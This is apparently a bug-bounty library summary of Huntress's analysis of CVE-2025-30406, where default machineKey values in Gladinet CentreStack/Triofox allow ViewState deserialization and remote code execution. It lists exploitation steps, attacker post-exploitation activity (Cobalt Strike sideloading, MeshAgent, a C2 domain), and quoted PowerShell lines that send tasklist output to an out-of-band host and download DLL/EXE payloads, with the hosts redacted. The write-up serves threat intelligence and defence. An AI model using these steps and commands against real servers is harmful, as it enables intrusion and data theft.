# CVE-2025-30406: Gladinet CentreStack & Triofox Exploited

Hardcoded machineKey in Gladinet CentreStack/Triofox web.config enables ASPX ViewState deserialization RCE as IISAPPPOOL\portaluser, exploited in the wild against 7 orgs.

- Payout: Real-world hack
- Severity: critical
- Program: Gladinet CentreStack
- Analysis by: Huntress
- Disclosed: 2025-04-14
- CVE: CVE-2025-30406
- Write-up quality: 7/10
- Original: https://www.huntress.com/blog/cve-2025-30406-critical-gladinet-centrestack-triofox-vulnerability-exploited-in-the-wild
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-cve-2025-30406-critical-gladinet-centrestack-triofox-vulnerability-exploited-in-the-wild
- Tags: area:web domain:web impact:internal-access impact:rce kind:incident platform:threat-intel sev:critical tech:dotnet technique:default-creds vuln:deserialization vuln:misconfiguration vuln:rce vuln:secrets-leak

**Target:** ASP.NET web portal (IIS, web.config machineKey/ViewState)
**Root cause:** CentreStack and Triofox ship default hardcoded machineKey validation/decryption keys in web.config (root\ and portal\), letting anyone forge signed/encrypted ASPX ViewState.
**Steps:**
1. Locate web.config at `C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config` and `...\portal\web.config` (Triofox: `C:\Program Files (x86)\Triofox\root\web.config` and `C:\Program Files (x86)\Triofox\portal\web.config`).
2. Extract the default hardcoded machineKey validationKey/decryptionKey values.
3. Forge a malicious ViewState payload signed/encrypted with those keys and submit it to the ASPX portal.
4. Deserialization executes code as IISAPPPOOL\portaluser; escalate to NT AUTHORITY\SYSTEM.
5. Observe OOB callback e.g. `powershell.exe Invoke-WebRequest -Uri http://REDACTED.oastify.com/REDACTED`.
**How found:** Huntress internal 0-day detector flagged suspicious outbound connection from w3wp.exe child process (powershell), leading to investigation of CentreStack and identification of default machineKey enabling ViewState deserialization.
**Exploitation:** Attacker forges ViewState with default keys to gain code execution as portaluser, then runs PowerShell OOB checks (`Invoke-WebRequest -Uri http://REDACTED.oast.fun -Method POST -Body $(tasklist)`), downloads d3d11.dll and renamed launcher.exe (Centre.exe) for DLL sideloading/Cobalt Strike, then lateral movement and MeshCentral (MeshAgent) install connecting to rtb[.]mftadsrvr[.]com.
**Escalation:** portaluser -> NT AUTHORITY\SYSTEM privesc; lateral movement to non-onboarded hosts; RAT deployment.
**Insight:** Check both root and nested sub-application web.config files for default machineKey — vendors often patch only the root and leave the child app's key intact, so verify every config in the IIS app tree.

## Proof of concept (copied exactly from the original report)

**PowerShell OOB connectivity test via ViewState exploit**

```
powershell.exe  Invoke-WebRequest -Uri http://REDACTED.oast.fun -Method POST -Body $(tasklist)
```

**Encoded PowerShell DLL sideload cradle**

```
powershell.exe -encodedCommand REDACTEDBASE64PAYLOAD==

- Cleartext:  Invoke-WebRequest -uri http://REDACTED:REDACTED/d3d11.dll -outfile C:\Users\Public\REDACTED\d3d11.dll

- Command: Invoke-WebRequest -uri http://redacted:redacted/Centre.exe -outfile C:\Users\Public\Redacted\Centre.exe
```

**Initial code execution test via Invoke-WebRequest**

```
powershell.exe  Invoke-WebRequest -Uri http://REDACTED.oastify.com/REDACTED
```